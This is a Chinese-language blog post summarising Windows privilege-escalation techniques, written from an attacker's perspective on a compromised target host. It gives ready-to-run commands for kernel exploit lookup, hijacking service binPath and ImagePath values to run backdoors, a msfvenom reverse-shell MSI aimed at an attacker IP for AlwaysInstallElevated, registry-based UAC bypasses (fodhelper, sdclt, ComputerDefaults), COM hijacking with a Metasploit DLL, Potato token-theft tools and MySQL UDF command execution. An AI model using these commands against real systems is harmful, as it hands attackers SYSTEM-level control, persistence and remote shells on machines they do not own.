首页 > 系统相关 >Windows提权小结

Windows提权小结

时间:2023-07-31 22:22:05浏览次数:42  
标签:exe Windows dll 提权 注册表 权限 小结

当获取主机权限时,希望可以将普通用户提升为管理员用户,以便获得高权限完全控制目标主机。Windows常用的提权方式有:内核提权、数据库提权、系统配置错误提权、Bypass UAC提权、令牌窃取提权等姿势。个人认为在提权方面内核提权、土豆系列提权是比较效率而且成功率较高的,其他的提权方法利用条件比较苛刻,在内核提权和土豆提权没办法提权的情况下,就考虑其他方法,算是一种扩展思路

1. 系统内核漏洞溢出提权

由于目标系统没有及时安装补丁,攻击者可以利用Windows系统内核溢出漏洞进行提权,轻易获取system权限。

Windows-Exploit-Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

通过systeminfo比对KB编号,发现系统是否存在漏洞。

在目标机上导出systeminfo > info.txt

python2 windows-exploit-suggester.py --update //更新Microsoft漏洞库
python2 windows-exploit-suggester.py -i info.txt -d 2023-07-18-mssb.xlsx -l

找到对应漏洞的exp执行,获取system权限

WES-NG

https://github.com/bitsadmin/wesng

说是Windows-Exploit-Suggester的下一代,支持用于Windows 11等操作系统和近年来发布的漏洞

python wes.py --update
//仅显示一定影响的脆弱性
python wes.py systeminfo.txt --impact "Remote Code Execution" 
//仅显示已知利用的漏洞
python wes.py systeminfo.txt --impact "Remote Code Execution" -e

//输出结果导出为csv文件
python wes.py systeminfo.txt --impact "Remote Code Execution" -e -o rce.csv

Hacking8在线查询

https://i.hacking8.com/tiquan/

直接把systeminfo的信息粘贴过去就可以直接查询可以用于提权的漏洞

这里使用CVE-2020-0787做测试

https://github.com/Ascotbe/Kernelhub/tree/master/Windows/CVE-2020-0787

把exp上传到目标机上运行弹出一个system权限的cmd

2. 系统配置错误提权

服务权限配置错误

如果因管理员错误的配置,导致一个低权限的用户对系统服务调用的可执行文件拥有写权限,那么低权限用户就可以将该文件替换成后门文件,这样就可以劫持系统服务,获得该系统服务的权限(利用条件比较苛刻)

这里使用powerup.ps1进行存在配置权限错误的服务信息收集

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp

导入后InvokeAllchecks该模块会自动执行PowerUp所有的脚本来检查目标主机

如果当前权限可以修改文件,可以把后门文件上传到服务路径并修改成同名文件,等待服务器重启就会回弹shell

如果CanRestart为True,即当前权限可以重启服务,可以先停止服务,再把服务的binPath改成后门文件的路径,然后再重启服务即可

以CVE-2019-1322为例

sc stop UsoSvc  //停止服务
sc config UsoSvc binPath= "shellPath"  //修改服务路径
sc config UsoSvc start=auto  //设置服务自启动
sc start UsoSvc  //启动服务

未引用的服务路径

当一个服务的可执行文件路径含有空格,却没有使用双引号引起来,那么这个服务就存在漏洞。根据优先级,系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。

举例以下未引用的路径
C:\User\Local Windows Apps\Common Files\service.exe
由于Local Windows Apps文件夹名称上有空格,会导致window执行的命令语义不明确。对于window来说有三种执行方式。
C:\User\Local.exe
C:\User\Local Windows.exe
C:\User\Local Windows Apps\Common.exe
C:\User\Local Windows Apps\Common Files\service.exe
window会按照上面的顺序搜索每一个可执行文件,先搜索C:\User\Local.exe,如存在,则该服务运行此可执行文件。如不存在,则继续搜索C:\User\Local Windows.exe,以此类推。

如果当前权限对Local Windows Apps目录有写的权限可以将有效载荷重命名为Common.exe写入目录,当服务重启时候就会运行

不安全的注册表权限

如果低权限用户对程序路径所对应的键值有写权限,那么就可以控制这个服务,运行后门程序,从而获取权限。

使用accesschk或poershell检查写入权限

accesschk.exe /accepteula -uvwqk HKLM\SYSTEM\CurrentControlSet\Services\GoogleChromeElevationService

覆盖 ImagePath 注册表项指向有效载荷

reg add HKLM\SYSTEM\CurrentControlSet\Services\GoogleChromeElevationService /v ImagePath /t REG_EXPAND_SZ /d C:\User\shell.exe /f

等待服务器重启或重启服务触发有效载荷

AlwaysInstallElevated

注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。

在注册表中查询 AlwaysInstallElevated 键:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    两个键都设置为1(0x1),如没有激活AlwaysInstallElevated,则显示为系统找不到指定的注册表项或值

使用 msfvenom 生成反向 shell

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.221.169 LPORT=8088 -f msi -o reverse.msi

运行安装程序以触发以 SYSTEM 权限运行的反向 shell

3.ByPassUAC

一般BypassUAC利用条件也比较苛刻,一般用在在管理员组内但没有Administartor权限的用户权限上

autoElevate

当某个EXE文件的文件清单里有autoElevate 元素时,当执行该文件时会默认提权执行。

SystemPropertiesAdvanced.exe为例用sigcheck进行检测

sigcheck.exe -m C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

requestedExecutionLevel

有三个不同的参数:asInvoker requireAdministrator highestAvailable 分别对应应用程序以什么权限运行

asInvoker:父进程是什么权限,此应用程序就是什么权限

requireAdministrator:以管理员权限来运行,此类应用程序图标右下方会有个盾牌标记

DLL劫持

exe文件运行时会加载许多dll文件,这些dll文件的加载过程

  • 1.程序所在目录
  • 2.程序加载目录(SetCurrentDirectory)
  • 3.系统目录即 SYSTEM32 目录
  • 4.16位系统目录即 SYSTEM 目录
  • 5.Windows目录
  • 6.PATH环境变量中列出的目录

PATH环境变量中列出目录的同时,dll加载也也遵循着Know DLLs注册表项的机制:Know DLLs注册表项指定的DLL是已经被操作系统加载过后的DLL,不会被应用程序搜索并加载。在注册表

注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

在knowdlls表项中的dll是预先就加载进内存空间的,被诸多应用调用着,改动需要高权限。

所以在程序找到正确的dll前,将恶意的dll放入优先级更高的目录内,让程序优先加载恶意的dll,这就造成了dll劫持

白名单

白名单查找方法参考连接https://github.com/SkewwG/domainTools/blob/master/regeditBypassUAC/README.md

odbcad32.exe

这个方法很简单。打开C:\Windows\system32\odbcad32.exe,然后通过以下方法打开powershell或者cmd

提升权限后对比

Fodhelper.exe

Fodhelper.exe win10才有,所以只有win10能通过这个办法bypassuac,利用方法属于注册表劫持

使用Procmon工具去分析,看启动过程执行了什么

程序试图打开HKCU\Software\Classes\ms-settings\shell\open\command,但是这个项没有找到,因为这个项并不存在,于是它查询 HKCR\ms-settings\Shell\Open,查询成功便打开其下的Command键进行查询

我们可以劫持注册表,往HKCU\Software\Classes\ms-settings\shell\open\command写入恶意指令从而达到bypassuac的目的。

reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f

然后命令行重新打开fodhelper就会弹出一个高权限的cmd了

删除注册表项还原

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command"

sdclt.exe

同样也是在win10上可用

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d C:\Windows\System32\cmd.exe /f 
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v "DelegateExecute" /f

同样删除注册表项还原

reg delete "HKCU\Software\Classes\Folder\shell\open\command"

ComputerDefaults.exe

reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f

还有很多这里就不列出来了

COM组件劫持

当进程运行会去寻找COM组件加载,加载顺序如下

HKCU\Software\Classes\CLSID\{CLSID}
HKCR\CLSID\{CLSID}
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{CLSID}

和dll劫持类似,如果进程在寻找COM组件的过程中有NAME NOT FOUND,直接在CLSID下新建一个对象ID,就能劫持进程,或者修改原有的COM组件来实现劫持

以CompMgmt为例

添加注册表项为msfvenom生成的dll

reg add HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 /v "" /t REG_SZ /d "C:\Users\user\Desktop\test\msf.dll" /f

再重新运行CompMgmt即可

利用COM接口

原理是利用COM接口提升对ICMLuaUtil接口进行提权,然后利用ShellExec()方法来执行命令。因为要通过CoCreateInstanceAsAdmin()创建COM类,系统会判断程序身份是否可信,若不可信则会触发弹窗,所以这里有两种方法去操作:
1、做成DLL,使用rundll32去调用,或者注入到其他可信进程
2、进程伪装,修改PEB中自身的进程信息为系统可信进程

UACME:https://github.com/hfiref0x/UACME

参考:https://pingmaoer.github.io/2020/07/09/BypassUAC方法论学习/

Akagi64.exe 41

4.令牌窃取

土豆系列

土豆系列提权的主要原理是诱导高权限访问低权限的系统对象,从而导致低权限的对象可以模拟高权限对象的访问令牌,进而可以用访问令牌创建进程,达到以高权限执行命令的目的。

利用条件:

  1. 需要支持SeImpersonate或者SeAssignPrimaryToken权限(通常情况下IIS、MSSQL具有这两个权限)
  2. 开启DCOM
  3. 本地支持RPC或者远程服务器支持RPC并能成功登录
  4. 能够找到可用的COM对象

JuicyPotato

下载地址:https://github.com/uknowsec/JuicyPotato

使用方法:JuicyPotato.exe -a "whoami"

SweetPotato

下载地址:https://github.com/uknowsec/SweetPotato

使用方法:SweetPotato.exe -a whoami

BadPotato

下载地址:https://github.com/BeichenDream/BadPotato

使用方法:BadPotato.exe whoami

GodPotato

下载地址:https://github.com/BeichenDream/GodPotato

使用方法:GodPotato.exe -cmd "cmd /c whoami"

PrintNotifyPotato

下载地址:https://github.com/BeichenDream/PrintNotifyPotato

使用方法:PrintNotifyPotato.exe "whoami"

5.数据库提权

MysqlUDF提权

udf为User Defined Function用户定义函数,mysql允许用户自定义函数功能。主要方法是向MySQL的插件路径导入用户编写的dll文件,并调用dll文件中用户定义的函数

查看 mysql 的位数选择对应位数的dll
show variables LIKE "%compile%";
查看插件安装目录
show variables like "%plugin%";

sqlmap中的udf动态链接库都经过了编码处理,不能直接使用,可以使用sqlmap中的cloak.py进行解码

python2 cloak.py -d -i sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

把udf动态链接库上传到mysql的插件安装目录

但是一般插件目录是不存在的,如果有webshell直接创建lib/plugin然后上传dll即可,如果没有则需要使用备用数据流创建目录

导入函数
create function sys_eval returns string soname 'udf.dll';
调用函数
select sys_eval('whoami');
删除函数
drop function sys_eval;

标签:exe,Windows,dll,提权,注册表,权限,小结
From: https://www.cnblogs.com/uein/p/17594686.html

相关文章

  • WAP计费小结
    WAP计费项目小结1.0遇到问题1.根据WAP计费入口地址联网时返回状态码为5002.程序如何获取处理302自己动跳转请求1.1分析问题HTTP_INTERNAL_ERROR          500:Theserverencounteredanunexpectedconditionwhichpreventeditfromfulfillingthe  requ......
  • 难以相信Windows 10竟然每月有5亿活跃用户
    微软的Build大会开始之初,CEOSatyaNadella上台后的第一件事,照例是公布一下Windows的增长情况。根据官方统计,目前Windows10的月活跃用户数已经达到了5亿人,这项数据去年九月的时候还是4亿,提升速度可谓非常之稳定(当然,这样的增速跟当初微软宣布免费升级后的那段时间肯定......
  • 提权
    提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如:IIS6,pr,巴西烤肉,Linux脏牛漏洞,Linux内核版本漏洞提权。1.Mysql提权,serv-u提权,Oracle提权2.Windows溢出提权3.Linux脏牛,内核漏洞提权 mysql两种提权方式 udf提权,mof提权......
  • 在Windows中运行Filebeat(Running Filebeat in windows)
     我最近使用这些说明在Windows上设置了filebeathttps://www.elastic.co/downloads/beats/filebeat但它迫使我保持​​cmd提示打开运行命令filebeat.exe-cfilebeat.yml我想知道是否有办法将其作为后台进程运行?谢谢。Isetupfilebeatonwindowsrecentlyusingt......
  • Windows 实例如何开放端口
    矩池云Windows实例相比于Linux实例,除了在租用机器的时候自定义端口外,还需要在Windows防火墙中添加入口规则。接下来将教大家如何设置Windows防火墙,启用端口。租用成功后通过RDP链接连接服务器,然后搜索防火墙,点击搜索结果中的WindowsDefender防火墙。在设置页面,点击......
  • windows配置本地ssl证书
    打开php.ini文件,搜索curl.cainfo,替换为一下文件,cacert.pem是证书 curl.cainfo=D:\web\phpEnv\cacert.pem  ......
  • 开发者也不知道?Windows 8/7…
    导读:Windows/Windows8/WinPhone7/WinPhone8/SurfaceRT/SurfacePro/WindowsPhoneMarketplace/WindowsStore之间的关系和区别。前几天流行一个段子:@师北宸:我如果招聘科技编辑的话,就让面试的人谈一个问题:Windows/Windows8/WinPhone7/WinPhone8/SurfaceRT/Su......
  • python windows 开发环境搭建
    PythonWindows开发环境搭建作为一名经验丰富的开发者,我很乐意指导你如何搭建PythonWindows开发环境。本文将提供一个详细的步骤表格,并为每个步骤提供相应的代码和注释。让我们开始吧!步骤一:安装Python步骤描述1下载Python安装程序并运行。2选择“AddPythonto......
  • iTOP-RK3568开发板Windows 安装 RKTool 驱动
    在烧写镜像之前首先需要安装RKTool驱动。RKTool驱动在网盘资料“iTOP-3568开发板\01_【iTOP-RK3568开发板】基础资料\02_iTOP-RK3568开发板烧写工具及驱动”路径下。驱动如下图所示:解压缩后,进入文件夹,如下图所示:点击“DriverInstall.exe”,如下图所示:如果出现提示,选择安装,如下......
  • IIS创建网站报错 \\?\C:\Windows\inetsrv\config\applicationHost.config
    ​ ​​编辑​​编辑 现象:IIS创建不了网站,IIS配置没有发生改变 原因:服务器C盘无空间,释放空间后问题解决。​......